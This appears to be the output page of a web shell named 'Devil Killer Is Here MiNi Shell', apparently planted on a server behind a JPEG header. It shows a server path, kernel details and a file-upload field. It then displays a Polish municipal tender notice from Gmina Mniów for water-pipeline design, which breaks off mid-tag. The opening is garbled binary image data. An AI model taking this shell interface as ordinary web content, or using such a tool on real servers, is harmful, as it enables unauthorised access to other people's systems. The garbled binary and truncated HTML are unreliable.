JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20240301/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20240301/0022818401-N-2024.html

<!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Usługi<br/> „Opracowanie koncepcji i projektu budowlanego na budowę wodociągów na terenie gminy Mniów” </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">Gmina Mniów</span></h3> <h3 class="mb-0">1.3.) Oddział zamawiającego: <span class="normal">Urząd Gminy Mniów</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 291010346</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">Centralna 9</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Mniów</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">26-080</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">świętokrzyskie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL721 - Kielecki</span></h3> <h3 class="mb-0">1.5.7.) Numer telefonu: <span class="normal">413737004</span></h3> <h3 class="mb-0">1.5.8.) Numer faksu: <span class="normal">413737024</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">zamowienia@mniow.pl</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">http://www.mniow.biuletyn.net/</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - jednostka sektora finansów publicznych - związek jednostek samorządu terytorialnego</span> </h3> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Ogólne usługi publiczne</span> </h3> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> „Opracowanie koncepcji i projektu budowlanego na budowę wodociągów na terenie gminy Mniów” </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-848ba783-d7c8-11ee-a3b5-e25d731b0da9</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2024/BZP 00228184</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">01</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2024-03-01</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.9.) Numer planu postępowań w BZP: <span class="normal">2024/BZP 00078934/03/P</span></h3> <h3 class="mb-0">2.10.) Identyfikator pozycji planu postępowań: </h3> <p class="mb-0">1.3.1 „Opracowanie koncepcji i projektu budowlanego na budowę wodociągów na terenie gminy Mniów”</p> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> mniow.ezamawiajacy.pl <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">Elektronicznie na adres e-mail: zamowienia@mniow.pl lub za pośrednictwem Platformy znajdującej się pod adresem: https://mniow.ezamawiajacy.pl w zakładce „Korespondencja”.</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">Zamawiający określa niezbędne wymagania sprzętowo- aplikacyjne umożliwiające pracę na Platformie Zakupowej tj.<br/>.1 Stały dostęp do sieci Internet o gwarantowanej przepustowości nie mniejszej niż 512 kb/s;<br/>.2 Komputer klasy PC lub MAC, o następującej konfiguracji: pamięć min 2GB Ram, procesor Intel IV 2GHZ, jeden z systemów<br/>operacyjnych - MS Windows 7, Mac Os x 10.4, Linux, lub ich nowsze wersje;<br/>.3 Zainstalowana dowolna przeglądarka internetowa obsługująca TLS 1.2, naj- le-piej w najnowszej wersji w przypadku Internet<br/>Explorer minimalnie wersja 10.0;<br/>.4 Włączona obsługa JavaScript;<br/>.5 Zainstalowany program Acrobat Reader lub inny obsługujący pliki w forma-cie .pdf.<br/>Zamawiający określa dopuszczalne formaty przesyłanych danych tj. plików o wielkości do 100 MB w txt, rtf, pdf ,xps, odt, ods, odp, doc, xls, ppt, docx, xlsx, pptx, csv, jpg, jpeg, tif, tiff, geotiff, png, svg, wav, mp3, avi, mpg, mpeg, mp4, m4a, mpeg4, ogg, ogv, zip, tar, gz, gzip, 7z, html, xhtml, css, xml, xsd, gml, rng, xsl, xslt, TSL, XMLsig, XAdES, CAdES, ASIC, XMLenc.</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h3 class="mb-0">3.15.) RODO (obowiązek informacyjny): <span class="normal">Zgodnie z art. 13 ust. 1 i 2 rozporządzenia Parlamentu Europejskiego i Rady (UE)<br/>2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (ogólne rozporządzenie o ochronie danych) (Dz. Urz. UE L 119 z 04.05.2016, str. 1), dalej „RODO”, Zamawiający informuje, że:<br/>I.1 administratorem Pani/Pana danych osobowych jest Gmina Mniów, 26-080 Mniów ul. Centralna 9;<br/>I.2 kontakt z inspektorem ochrony danych osobowych w Gminie Mniów pod<br/>adresem e-mail: iod@mniow.pl;<br/>I.3 Pani/Pana dane osobowe przetwarzane będą na podstawie art. 6 ust. 1 lit. c RODO w celu związanym z postępowaniem o<br/>udzielenie zamówienia publicznego pn. „Budowa oświetlenia drogowego w miejscowościach na terenie Gminy Mniów”<br/>I.4 odbiorcami Pani/Pana danych osobowych będą osoby lub podmioty, którym udostępniona zostanie dokumentacja postępowania<br/>w oparciu o art. 18 oraz art. 74 ustawy – PZP;<br/>I.5 Pani/Pana dane osobowe będą przechowywane, zgodnie z art. 78 ust.1<br/>ustawy – PZP, przez okres 4 lat od dnia zakończenia postępowania o udzielenie za-mówienia, a jeżeli czas trwania umowy<br/>przekracza 4 lata, okres przechowywania obejmuje cały czas trwania umowy;<br/>I.6 obowiązek podania przez Panią/Pana danych osobowych bezpośrednio Pani/Pana dotyczących jest wymogiem ustawowym,<br/>określonym w przepisach ustawy - PZP, związanym z udziałem w postępowaniu o udzielenie zamówienia publicznego; konsekwencje<br/>niepodania określonych danych wynikają z ustawy – PZP;<br/>I.7 w odniesieniu do Pani/Pana danych osobowych, decyzje nie będą podejmowane w sposób zautomatyzowany, stosowanie do<br/>art. 22 RODO;<br/>I.8 posiada Pani/Pan:<br/>a) na podstawie art. 15 RODO - prawo dostępu do danych osobowych Pani/Pana dotyczących;<br/>b) na podstawie art. 16 RODO - prawo do sprostowania Pani/Pana danych osobowych;<br/>c) na podstawie art. 18 RODO - prawo żądania od administratora ograniczenia przetwarzania danych osobowych z zastrzeżeniem<br/>przypadków, o których mowa w art. 18 ust. 2 RODO;<br/>d) prawo do wniesienia skargi do Prezesa Urzędu Ochrony Danych Osobowych, gdy uzna Pani/Pan, że przetwarzanie danych<br/>osobowych Pani/Pana dotyczących narusza przepisy RODO;<br/>I.9 nie przysługuje Pani/Panu:<br/>a) w związku z art. 17 ust. 3 lit. b, d lub e RODO prawo do usunięcia danych<br/>osobowych;<br/>b) prawo do przenoszenia danych osobowych, o którym mowa w art. 20 RODO;<br/>c) na podstawie art. 21 RODO prawo sprzeciwu, wobec przetwarzania danych osobowych, gdyż podstawą prawną przetwarzania<br/>Pani/Pana danych<br/>osobowych jest art. 6 ust. 1 lit. c RODO.<br/>I.10 w przypadku uznania, że przetwarzanie Pana/Pani danych osobowych narusza przepisy RODO, przysługuje Panu/Pani prawo<br/>do wniesienia skargi do Prezesa Urzędu Ochrony Danych Osobowych, ul. Stawki 2, 00-193 Warszawa, tel. 22 531-03-00, e-mail:<br/>kancelaria@uodo.gov.pl</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2><h3 class="mb-0">4.1.) Informacje ogólne odnoszące się do przedmiotu zamówienia.</h3> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">GKPiB.XI.271.1.2024</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Usługi</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.5.) Wartość zamówienia: <span class="normal"> 250000 PLN </span> </h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.9.) Liczba części: <span class="normal">14</span></h3> <h3 class="mb-0">4.1.10.) Ofertę można składać na wszystkie części</h3> <h3 class="mb-0">4.1.11.) Zamawiający ogranicza liczbę części zamówienia, którą można udzielić jednemu wykonawcy: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Nie</span></h3><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="p-2 mt-4 bg-light">Część 1</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Zadanie 1. Projekt wodociągu w msc. Mniów (ul. Wrzosowa w stronę Raszówki) </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">71320000-7 - Usługi inżynieryjne w zakresie projektowania</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">71322200-3 - Usługi projektowania rurociągów</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">8 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Za najkorzystniejszą zostanie uznana oferta (spośród wszystkich złożonych w postępowaniu ofert<br/>niepodlegających odrzuceniu), która otrzyma największą łączną liczbę punków w poszczególnych kryteriach oceny ofert ( C+A).<br/>Przy wyborze oferty Zamawiający będzie się kierował następującymi kryteriami:<br/>a. Kryterium „CENA”<br/>Oferta proponująca najniższą cenę otrzyma 60 pkt, pozostałe oferty będą punktowane we-dług poniższego wzoru, z dokładnością do<br/>1/100 punktu:<br/>C min<br/>C = ----------------------------x 60<br/>C bad.<br/>Gdzie:<br/>C - ilość punktów oferty badanej w kryterium cena<br/>C min - najniższa cena(brutto) spośród wszystkich podlegających ocenie ofert<br/>C bad. – cena (brutto) oferty badanej.<br/>b. Kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”:<br/>Zamawiający wymaga, aby Wykonawca zagwarantował minimum 3 –wizyty na budowie bez dodatkowego kosztu.<br/>3. Za zaoferowanie 3 wizyt na budowie w ramach nadzoru autorskiego przyznaje się 10 punktów.<br/>4. Dodatkowe 4 wizyt na budowie w ramach nadzoru autorskiego – 20 punktów, 5 wizyt - 30 punktów, 6 wizyt na budowie – 40<br/>punktów.<br/>5. W tym kryterium Wykonawca może otrzymać maksymalnie 40 pkt.<br/>6. Zamawiający oceni i porówna jedynie te oferty, które zostaną określone jako zgodne z wymaganiami określonymi w niniejszej<br/>specyfikacji. Zamawiający wybierze tego Wykonawcę, którego oferta została uznana za najkorzystniejszą, ze względu na uzyskanie<br/>największej ilości punktów<br/>7. Sposób obliczenia całkowitej liczby punktów: P = C + A<br/>gdzie:<br/>P – całkowita liczba punktów dla rozpatrywanej oferty,<br/>C – liczba punktów uzyskanych w kryterium „cena”,<br/>A – liczba punktów uzyskanych w kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”.<br/>8. Ocena końcowa oferty zostanie obliczona jako suma punktów uzyskanych w poszczególnych kryteriach oceny oferty. Za<br/>najkorzystniejszą zostanie uznana oferta, która uzyska największą liczbę punktów z końcowej oceny ofert (maksymalnie: 100,00<br/>pkt).<br/>Jeżeli dwie lub więcej ofert uzyska taki sam bilans ceny i innych kryteriów oceny ofert, za-mawiający spośród tych ofert wybierze<br/>ofertę z najniższą ceną.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">„ilość wizyt na budowie w ramach nadzoru autorskiego”</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 2</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Zadanie 2. Zakres zadania obejmuje trzy odcinki sieci wodociągowej:<br/>a)	Projekt wodociągu wzdłuż dz. Nr 29 obręb Przełom (Pieradła)<br/>b)	Projekt wodociągu w msc. Pieradła gmina Mniów wzdłuż działki 64. <br/>c)	Projekt budowlano wykonawczego wzdłuż działki 108 do działki 64. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">71320000-7 - Usługi inżynieryjne w zakresie projektowania</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">71322200-3 - Usługi projektowania rurociągów</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">8 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Za najkorzystniejszą zostanie uznana oferta (spośród wszystkich złożonych w postępowaniu ofert<br/>niepodlegających odrzuceniu), która otrzyma największą łączną liczbę punków w poszczególnych kryteriach oceny ofert ( C+A).<br/>Przy wyborze oferty Zamawiający będzie się kierował następującymi kryteriami:<br/>a. Kryterium „CENA”<br/>Oferta proponująca najniższą cenę otrzyma 60 pkt, pozostałe oferty będą punktowane we-dług poniższego wzoru, z dokładnością do<br/>1/100 punktu:<br/>C min<br/>C = ----------------------------x 60<br/>C bad.<br/>Gdzie:<br/>C - ilość punktów oferty badanej w kryterium cena<br/>C min - najniższa cena(brutto) spośród wszystkich podlegających ocenie ofert<br/>C bad. – cena (brutto) oferty badanej.<br/>b. Kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”:<br/>Zamawiający wymaga, aby Wykonawca zagwarantował minimum 3 –wizyty na budowie bez dodatkowego kosztu.<br/>3. Za zaoferowanie 3 wizyt na budowie w ramach nadzoru autorskiego przyznaje się 10 punktów.<br/>4. Dodatkowe 4 wizyt na budowie w ramach nadzoru autorskiego – 20 punktów, 5 wizyt - 30 punktów, 6 wizyt na budowie – 40<br/>punktów.<br/>5. W tym kryterium Wykonawca może otrzymać maksymalnie 40 pkt.<br/>6. Zamawiający oceni i porówna jedynie te oferty, które zostaną określone jako zgodne z wymaganiami określonymi w niniejszej<br/>specyfikacji. Zamawiający wybierze tego Wykonawcę, którego oferta została uznana za najkorzystniejszą, ze względu na uzyskanie<br/>największej ilości punktów<br/>7. Sposób obliczenia całkowitej liczby punktów: P = C + A<br/>gdzie:<br/>P – całkowita liczba punktów dla rozpatrywanej oferty,<br/>C – liczba punktów uzyskanych w kryterium „cena”,<br/>A – liczba punktów uzyskanych w kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”.<br/>8. Ocena końcowa oferty zostanie obliczona jako suma punktów uzyskanych w poszczególnych kryteriach oceny oferty. Za<br/>najkorzystniejszą zostanie uznana oferta, która uzyska największą liczbę punktów z końcowej oceny ofert (maksymalnie: 100,00<br/>pkt).<br/>Jeżeli dwie lub więcej ofert uzyska taki sam bilans ceny i innych kryteriów oceny ofert, za-mawiający spośród tych ofert wybierze<br/>ofertę z najniższą ceną.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">„ilość wizyt na budowie w ramach nadzoru autorskiego”</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 3</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Zadanie 3. Opracowanie projektów budowlano wykonawczych wodociągu w msc. Mniów, ul. Znajo-ma i Sportowa </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">71320000-7 - Usługi inżynieryjne w zakresie projektowania</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">71322200-3 - Usługi projektowania rurociągów</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">8 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Za najkorzystniejszą zostanie uznana oferta (spośród wszystkich złożonych w postępowaniu ofert<br/>niepodlegających odrzuceniu), która otrzyma największą łączną liczbę punków w poszczególnych kryteriach oceny ofert ( C+A).<br/>Przy wyborze oferty Zamawiający będzie się kierował następującymi kryteriami:<br/>a. Kryterium „CENA”<br/>Oferta proponująca najniższą cenę otrzyma 60 pkt, pozostałe oferty będą punktowane we-dług poniższego wzoru, z dokładnością do<br/>1/100 punktu:<br/>C min<br/>C = ----------------------------x 60<br/>C bad.<br/>Gdzie:<br/>C - ilość punktów oferty badanej w kryterium cena<br/>C min - najniższa cena(brutto) spośród wszystkich podlegających ocenie ofert<br/>C bad. – cena (brutto) oferty badanej.<br/>b. Kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”:<br/>Zamawiający wymaga, aby Wykonawca zagwarantował minimum 3 –wizyty na budowie bez dodatkowego kosztu.<br/>3. Za zaoferowanie 3 wizyt na budowie w ramach nadzoru autorskiego przyznaje się 10 punktów.<br/>4. Dodatkowe 4 wizyt na budowie w ramach nadzoru autorskiego – 20 punktów, 5 wizyt - 30 punktów, 6 wizyt na budowie – 40<br/>punktów.<br/>5. W tym kryterium Wykonawca może otrzymać maksymalnie 40 pkt.<br/>6. Zamawiający oceni i porówna jedynie te oferty, które zostaną określone jako zgodne z wymaganiami określonymi w niniejszej<br/>specyfikacji. Zamawiający wybierze tego Wykonawcę, którego oferta została uznana za najkorzystniejszą, ze względu na uzyskanie<br/>największej ilości punktów<br/>7. Sposób obliczenia całkowitej liczby punktów: P = C + A<br/>gdzie:<br/>P – całkowita liczba punktów dla rozpatrywanej oferty,<br/>C – liczba punktów uzyskanych w kryterium „cena”,<br/>A – liczba punktów uzyskanych w kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”.<br/>8. Ocena końcowa oferty zostanie obliczona jako suma punktów uzyskanych w poszczególnych kryteriach oceny oferty. Za<br/>najkorzystniejszą zostanie uznana oferta, która uzyska największą liczbę punktów z końcowej oceny ofert (maksymalnie: 100,00<br/>pkt).<br/>Jeżeli dwie lub więcej ofert uzyska taki sam bilans ceny i innych kryteriów oceny ofert, za-mawiający spośród tych ofert wybierze<br/>ofertę z najniższą ceną.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 